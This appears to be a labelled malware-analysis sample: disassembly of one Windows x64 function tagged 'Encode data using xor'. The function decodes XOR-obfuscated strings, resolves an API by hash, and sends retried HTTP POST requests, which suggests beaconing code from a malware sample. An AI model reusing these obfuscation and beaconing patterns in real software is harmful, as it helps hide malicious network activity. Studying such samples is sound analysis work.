Function at 0x140010368
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x240
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov rax, qword [0x140046180]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov r15, r8
mov qword [rsp + 0x60], r8
mov rbx, rdx
mov r13, rcx
mov qword [rbp - 0x38], rdx
xor edi, edi
mov dword [rsp + 0x50], edi
mov rdx, qword [rcx + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140004570
nop
cmp qword [r13 + 0x48], rdi
jne 0x140010404
mov dword [r13], 6
lea esi, [rdi + 0xf]
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x10], rdi
mov byte [rbx], dil
xor r8d, r8d
lea rdx, [0x14003b640]
mov rcx, rbx
call fcn.140002348
lea r12d, [rdi + 1]
mov dword [rsp + 0x50], r12d
jmp 0x140010cbd
mov r8, r15
lea rdx, [rbp + 0x50]
lea rcx, [r13 + 0x80]
call fcn.140006644
mov rdx, qword [rbp + 0x50]
cmp qword [r13 + 0x88], rdx
je 0x140010455
mov esi, 0xf
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x10], rdi
mov byte [rbx], dil
add rdx, 0x40
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rcx, rbx
call fcn.14000278c
lea r12d, [rsi - 0xe]
mov dword [rsp + 0x50], r12d
jmp 0x140010cbd
lea rcx, [rsp + 0x70]
call fcn.14000259c
nop
lea rcx, [rbp - 0x58]
call fcn.14000259c
nop
mov qword [rbp - 0x68], rdi
mov ecx, 0x400
mov qword [rbp - 0x60], rcx
call fcn.140014420
mov qword [rbp - 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140010cf8
mov rax, qword [str.4_5A_J_]
mov qword [rbp + 0x50], rax
mov eax, dword [str.G_N]
mov dword [rbp + 0x58], eax
mov al, byte [0x14003a484]
mov byte [rbp + 0x5c], al
mov ecx, 0xb
lea r12d, [rcx - 0xa]
mov al, byte [rbp + rcx + 0x4f]
xor byte [rbp + rcx + 0x50], al
sub rcx, r12
test rcx, rcx
jg 0x1400104b0
xor byte [rbp + 0x50], 0x77
mov rax, qword [str.2B27T5A_G_]
mov qword [rbp + 0x60], rax
mov rax, qword [0x14003a490]
mov qword [rbp + 0x68], rax
mov al, byte [0x14003a498]
mov byte [rbp + 0x70], al
mov esi, 0xf
mov ecx, esi
mov al, byte [rbp + rcx + 0x5f]
xor byte [rbp + rcx + 0x60], al
sub rcx, r12
test rcx, rcx
jg 0x1400104ea
xor byte [rbp + 0x60], 0x53
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0x90], rdi
mov byte [rbp + 0x80], dil
xor eax, eax
or r14, 0xffffffffffffffff
mov rcx, r14
lea rdi, [rbp + 0x50]
repne scasb al, byte [rdi]
not rcx
sub rcx, r12
mov r8, rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x80]
call fcn.140002348
nop
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x70]
call fcn.14000a560
mov r11, rax
xor eax, eax
mov rcx, r14
lea rdi, [rbp + 0x60]
repne scasb al, byte [rdi]
not rcx
sub rcx, r12
mov r8, rcx
lea rdx, [rbp + 0x60]
mov rcx, r11
call fcn.140002348
nop
cmp qword [rbp + 0x98], 0x10
jb 0x140010587
mov rcx, qword [rbp + 0x80]
call fcn.1400233e4
xor edi, edi
mov qword [rbp - 0x68], rdi
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x10], rdi
mov byte [rbp], dil
lea rcx, [rbp + 0xd0]
lea rdx, [0x14003a4a0]
lea r8d, [rdi + 0x51]
call fcn.1400230b0
lea edx, [rdi + 0x4f]
mov al, byte [rbp + rdx + 0xcf]
xor byte [rbp + rdx + 0xd0], al
sub rdx, r12
test rdx, rdx
jg 0x1400105b3
xor byte [rbp + 0xd0], 0x9b
xor eax, eax
mov rcx, r14
lea rdi, [rbp + 0xd0]
repne scasb al, byte [rdi]
not rcx
sub rcx, r12
mov r8, rcx
lea rdx, [rbp + 0xd0]
lea rcx, [rbp]
call fcn.140002348
mov qword [rbp - 0x10], rsi
xor edi, edi
mov qword [rbp - 0x18], rdi
mov byte [rbp - 0x28], dil
mov rax, qword [0x14003a4f8]
mov qword [rbp + 0x50], rax
movzx eax, word [0x14003a500]
mov word [rbp + 0x58], ax
mov al, byte [0x14003a502]
mov byte [rbp + 0x5a], al
lea ecx, [rdi + 9]
mov al, byte [rbp + rcx + 0x4f]
xor byte [rbp + rcx + 0x50], al
sub rcx, r12
test rcx, rcx
jg 0x140010627
xor byte [rbp + 0x50], 0x9c
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x28]
call fcn.14000a6ec
mov r9, r14
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp - 0x28]
call fcn.14000a82c
lea rcx, [rbp + 0x80]
lea rdx, [0x14003a510]
mov r8d, 0x4a
call fcn.1400230b0
mov edx, 0x48
mov al, byte [rbp + rdx + 0x7f]
xor byte [rbp + rdx + 0x80], al
sub rdx, r12
test rdx, rdx
jg 0x140010678
xor byte [rbp + 0x80], 0xbd
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x28]
call fcn.14000a6ec
mov dword [rbp + 0x50], edi
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0x90], rdi
mov byte [rbp + 0x80], dil
mov r8d, 4
lea rdx, str.POST
lea rcx, [rbp + 0x80]
call fcn.140002348
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x38], rdi
mov byte [rbp + 0x28], dil
xor eax, eax
mov rcx, r14
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
sub rcx, r12
mov r8, rcx
lea rcx, [rbp + 0x28]
call fcn.140002348
nop
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae r8, qword [rbp - 0x28]
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x40], rcx
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x38], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9, qword [rbp - 0x18]
lea rdx, [rbp + 0x28]
lea rcx, [r13 + 8]
call fcn.140009d8c
mov edi, eax
cmp qword [rbp + 0x40], 0x10
jb 0x14001076d
mov rcx, qword [rbp + 0x28]
call fcn.1400233e4
mov qword [rbp + 0x40], rsi
and qword [rbp + 0x38], 0
mov byte [rbp + 0x28], 0
cmp qword [rbp + 0x98], 0x10
jb 0x140010790
mov rcx, qword [rbp + 0x80]
call fcn.1400233e4
xor r15d, r15d
test edi, edi
je 0x140010a53
cmp edi, 3
je 0x1400108b4
mov edx, 0x5a2bc0
mov ecx, 0xb9f5b9c
call fcn.140022154
mov ecx, 0xbb8
call rax
mov qword [rbp + 0x98], rsi
xor edi, edi
mov qword [rbp + 0x90], rdi
mov byte [rbp + 0x80], dil
lea r8d, [rdi + 4]
lea rdx, str.POST
lea rcx, [rbp + 0x80]
call fcn.140002348
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x38], rdi
mov byte [rbp + 0x28], dil
xor eax, eax
mov rcx, r14
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
sub rcx, r12
mov r8, rcx
lea rcx, [rbp + 0x28]
call fcn.140002348
nop
lea r8, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae r8, qword [rbp - 0x28]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x58]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x18]
lea rdx, [rbp + 0x28]
lea rcx, [r13 + 8]
call fcn.140009d8c
mov edi, eax
cmp qword [rbp + 0x40], 0x10
jb 0x140010882
mov rcx, qword [rbp + 0x28]
call fcn.1400233e4
mov qword [rbp + 0x40], rsi
and qword [rbp + 0x38], 0
mov byte [rbp + 0x28], 0
cmp qword [rbp + 0x98], 0x10
jb 0x1400108a5
mov rcx, qword [rbp + 0x80]
call fcn.1400233e4
add r15d, r12d
cmp r15d, 3
jl 0x140010793
jmp 0x1400108b8
mov dword [r13], r12d
xor r14d, r14d
test edi, edi
je 0x140010a56
cmp edi, 2
je 0x140010999
cmp edi, 4
je 0x140010999
cmp edi, r12d
je 0x1400108e3
cmp edi, 3
jne 0x140010a56
mov dword [r13], r12d
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x10], r14
mov byte [rbx], r14b
xor r8d, r8d
lea rdx, [0x14003b640]
mov rcx, rbx
call fcn.140002348
mov dword [rsp + 0x50], r12d
cmp qword [rbp - 0x10], 0x10
jb 0x140010919
mov rcx, qword [rbp - 0x28]
call fcn.1400233e4
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x28], r14b
cmp qword [rbp + 0x18], 0x10
jb 0x140010935
mov rcx, qword [rbp]
call fcn.1400233e4
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x10], r14
mov byte [rbp], r14b
lea rcx, [rbp - 0x70]
call fcn.1400054b8
nop
mov r8, qword [rbp - 0x50]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.1400024e4
nop
mov rcx, qword [rbp - 0x50]
call fcn.1400233e4
nop
mov r8, qword [rsp + 0x78]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1400024e4
nop
mov rcx, qword [rsp + 0x78]
call fcn.1400233e4
nop
jmp 0x140010cbd
mov dword [r13], 3
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x10], r14
mov byte [rbx], r14b
xor r8d, r8d
lea rdx, [0x14003b640]
mov rcx, rbx
call fcn.140002348
mov dword [rsp + 0x50], r12d
cmp qword [rbp - 0x10], 0x10
jb 0x1400109d3
mov rcx, qword [rbp - 0x28]
call fcn.1400233e4
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x28], r14b
cmp qword [rbp + 0x18], 0x10
jb 0x1400109ef
mov rcx, qword [rbp]
call fcn.1400233e4
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x10], r14
mov byte [rbp], r14b
lea rcx, [rbp - 0x70]
call fcn.1400054b8
nop
mov r8, qword [rbp - 0x50]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.1400024e4
nop
mov rcx, qword [rbp - 0x50]
call fcn.1400233e4
nop
mov r8, qword [rsp + 0x78]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1400024e4
nop
mov rcx, qword [rsp + 0x78]
call fcn.1400233e4
nop
jmp 0x140010cbd
xor r14d, r14d
cmp dword [rbp + 0x50], 0xc8
jne 0x140010c0c
mov r8, qword [rbp - 0x68]
test r8, r8
je 0x140010c0c
mov dword [r13], 4
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x38], r14
mov byte [rbp + 0x28], r14b
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x28]
call fcn.140002348
nop
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x80]
call fcn.1400127ec
nop
cmp qword [rbp + 0x40], 0x10
jb 0x140010ab3
mov rcx, qword [rbp + 0x28]
call fcn.1400233e4
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x38], r14
mov byte [rbp + 0x28], r14b
lea r8, [rbp + 0x80]
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp + 0xd0]
call fcn.140011bd8
nop
mov rdx, rax
lea rcx, [r13 + 0x80]
call fcn.140012164
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [r13 + 0x80]
call fcn.140004648
nop
cmp qword [rbp + 0x110], 0x10
jb 0x140010b12
mov rcx, qword [rbp + 0xf8]
call fcn.1400233e4
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x108], r14
mov byte [rbp + 0xf8], r14b
cmp qword [rbp + 0xe8], 0x10
jb 0x140010b3d
mov rcx, qword [rbp + 0xd0]
call fcn.1400233e4
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.1400044d4
mov dword [rsp + 0x50], r12d
cmp qword [rbp + 0x98], 0x10
jb 0x140010b67
mov rcx, qword [rbp + 0x80]
call fcn.1400233e4
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0x90], r14
mov byte [rbp + 0x80], r14b
cmp qword [rbp - 0x10], 0x10
jb 0x140010b8c
mov rcx, qword [rbp - 0x28]
call fcn.1400233e4
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x28], r14b
cmp qword [rbp + 0x18], 0x10
jb 0x140010ba8
mov rcx, qword [rbp]
call fcn.1400233e4
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x10], r14
mov byte [rbp], r14b
lea rcx, [rbp - 0x70]
call fcn.1400054b8
nop
mov r8, qword [rbp - 0x50]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.1400024e4
nop
mov rcx, qword [rbp - 0x50]
call fcn.1400233e4
nop
mov r8, qword [rsp + 0x78]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1400024e4
nop
mov rcx, qword [rsp + 0x78]
call fcn.1400233e4
nop
jmp 0x140010cbd
mov dword [r13], r14d
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x10], r14
mov byte [rbx], r14b
xor r8d, r8d
lea rdx, [0x14003b640]
mov rcx, rbx
call fcn.140002348
mov dword [rsp + 0x50], r12d
cmp qword [rbp - 0x10], 0x10
jb 0x140010c42
mov rcx, qword [rbp - 0x28]
call fcn.1400233e4
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x18], r14
mov byte [rbp - 0x28], r14b
cmp qword [rbp + 0x18], 0x10
jb 0x140010c5e
mov rcx, qword [rbp]
call fcn.1400233e4
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x10], r14
mov byte [rbp], r14b
lea rcx, [rbp - 0x70]
call fcn.1400054b8
nop
mov r8, qword [rbp - 0x50]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x58]
call fcn.1400024e4
nop
mov rcx, qword [rbp - 0x50]
call fcn.1400233e4
nop
mov r8, qword [rsp + 0x78]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.1400024e4
nop
mov rcx, qword [rsp + 0x78]
call fcn.1400233e4
nop
lea rcx, [rsp + 0x58]
call fcn.1400045a8
mov rax, rbx
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140022ee0
mov rbx, qword [rsp + 0x298]
add rsp, 0x240
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret